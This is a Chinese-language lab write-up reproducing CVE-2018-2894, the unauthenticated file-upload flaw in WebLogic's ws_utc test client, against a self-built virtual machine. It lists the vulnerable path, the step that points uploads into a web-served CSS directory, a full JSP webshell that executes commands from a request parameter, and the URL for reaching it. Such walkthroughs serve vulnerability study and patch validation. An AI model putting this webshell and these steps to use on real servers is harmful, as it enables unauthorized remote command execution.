漏洞背景
该漏洞存在于 WebLogic 自带的 ws_utc 模块(Web Services Test Client)。该模块原用于测试 Web Service 接口,但其中的文件上传接口对上传内容与访问权限未做严格限制,导致攻击者可在无需认证的情况下上传 JSP 木马,并通过公开路径直接访问执行,从而远程控制服务器。
影响版本:Oracle WebLogic Server 10.3.6.0、12.1.3.0
利用条件:
-
ws_utc 模块处于部署状态
-
WebLogic 控制台存在文件上传入口
-
控制台访问路径未做身份限制(或者可绕过认证)
漏洞复现
通过虚拟机搭建靶场,访问后网页如下:
漏洞点存在的路径是: /ws_utc/config.do ,这个路径还是未授权访问路径。访问页面如下:
然后我们把上图“Work Home Dir: 当前的工作目录”功能点的路径切换成: /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css ,点击提交(将目录设置为ws_utc
应用的静态文件css目录,目的是后续无需权限即可访问上传的Webshell)。然后点击左侧“安全”功能点,进入页面后,点击“添加”,在文件上传的功能点上传jsp木马文件。如下图:
上传的jsp文件内容是:
1 <% 2 if ("zyon".equals(request.getParameter("pass"))) { 3 String cmd = request.getParameter("cmd"); 4 Process p = Runtime.getRuntime().exec(cmd); 5 java.io.InputStream is = p.getInputStream(); 6 java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); 7 String output = s.hasNext() ? s.next() : ""; 8 out.println("<pre>" + output + "</pre>"); 9 } 10 %>
返回包会返回一个时间戳和上传的文件名,如下图:
上传完之后“安全”功能点的的页面如下图:
然后访问路径如下
http://192.168.49.151:7001/ws_utc/css/config/keystore/时间戳_上传文件名
然后拼接上命令执行“id”,成功回显,如下图:
总结:CVE-2018-2894 是 WebLogic 中 ws_utc 模块任意文件上传漏洞,因上传目录可被 Web 访问,攻击者可利用它上传 JSP 木马并远程命令执行,是一个典型的“未授权 + 任意上传 + RCE”组合型高危漏洞